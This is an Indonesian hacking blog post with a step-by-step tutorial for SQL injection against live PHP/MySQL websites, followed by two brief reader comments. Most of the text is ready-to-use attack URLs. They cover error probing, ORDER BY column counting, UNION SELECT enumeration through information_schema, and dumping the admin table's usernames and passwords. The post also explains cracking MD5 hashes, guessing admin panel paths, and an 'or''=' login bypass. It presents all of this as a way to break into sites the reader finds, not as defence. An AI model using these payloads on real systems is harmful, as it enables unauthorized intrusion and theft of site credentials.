I'm Not Hacker Just Newbie: Sql Injection Step By Step
[ Search :

Sql Injection Step By Step

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x


=step Satu:=
carilah target
misal:
[site]/berita.php?id=100
Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
 [site]/berita.php?id=100' atau
 [site]/berita.php?id=-100
sehingga muncul pesan error seperti berikut (masih banyak lagi):
Kesalahan pada perintah SQL [SELECT * FROM news WHERE news_id=6\']
Atau
Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/dekranas/public_html/funct.php on line 187
=step Dua:=
mencari dan menghitung jumlah table yang ada dalam databasenya...
gunakan perintah : order by
contoh:
 [site]/berita.php?id=-100+order+by+1-- atau
[site]/berita.php?id=-100+order+by+1/*
ceklah secara step by step (satupersatu)...
misal:
    [site]/berita.php?id=-100+order+by+1--
    [site]/berita.php?id=-100+order+by+2--
    [site]/berita.php?id=-100+order+by+3--
    [site]/berita.php?id=-100+order+by+4--
sehingga muncul error atau hilang pesan error...
misal:
[site]/berita.php?id=-100+order+by+9--
berarti yang kita ambil adalah sampai angka 8
menjadi [site]/berita.php?id=-100+order+by+8--
=step Tiga:=
untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--
ok seumpama yg keluar angka 5
gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada angka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--
lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..
untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..

=step Empat:=
untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables/* >>> dimasukan setelah angka terakhir
[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables--
seumpama table yang muncul adalah "admin"

=step Lima:=
untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database() >>> dimasukan setelah angka terakhir
 [site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables+where+table_schema=database()--
= step Enam: =
perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- >>> dimasukan setelah angka terakhir
 [site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0xhexa--
pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
website yg digunakan untuk konversi :
contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E
 [site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema.columns+where+table_name=0x61646D696E--
=step Tujuh:=
memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara
perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir
Code:   
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil isi column),6,7,8+from+(nama table berasal)--
contoh kata yang keluar adalah id,username,password
Code:   
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin--
= step Delapan:=
Pada tahap ini akan muncul username dan password dari colom yang kita pengen lihat tadi,biasanya berbentuk MD5 untuk pass nya,tidak jarang pula ada yang berbentuk text biasa,SHA1,atau hash bentuk aneh lainya..
Bila masih berbentuk MD5 bisa kita crack manual menggunakan CAIN & ABEL atau menggunakan crack online seperti www.md5hash.com
Bila udah ketemu hasil cracknya kita tinggal mencari hal adminya,biasanya masih default kok hal.adminnya
Misal:
id/
id/index.php
id/administrator/
admin.php
admin1.php
admin1.html
admin2.php
admin2.html
adm/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php

NB:ada satu lagi tehnik SQL injection yang sangat lama sekali dan mungkin dah jarang digunakan,yaitu memasukkan karakter ‘or’‘=’ dalam kolom password dan pada kolom name diisi sembarang nama.
Missal :
Username:admin
Password: ‘or’‘=’
Adakalanya tehnik ini masih berhasil digunakan,meskipun kemungkinannya 30% aja.

2 komentar:

rahasia dunia mengatakan...

Thank ya atas info ya bagus banget artikel ya....

aku copy data ya.....

Rdunia.blogspot.com

j0ck3r mengatakan...

sama sama mas... :)

Posting Komentar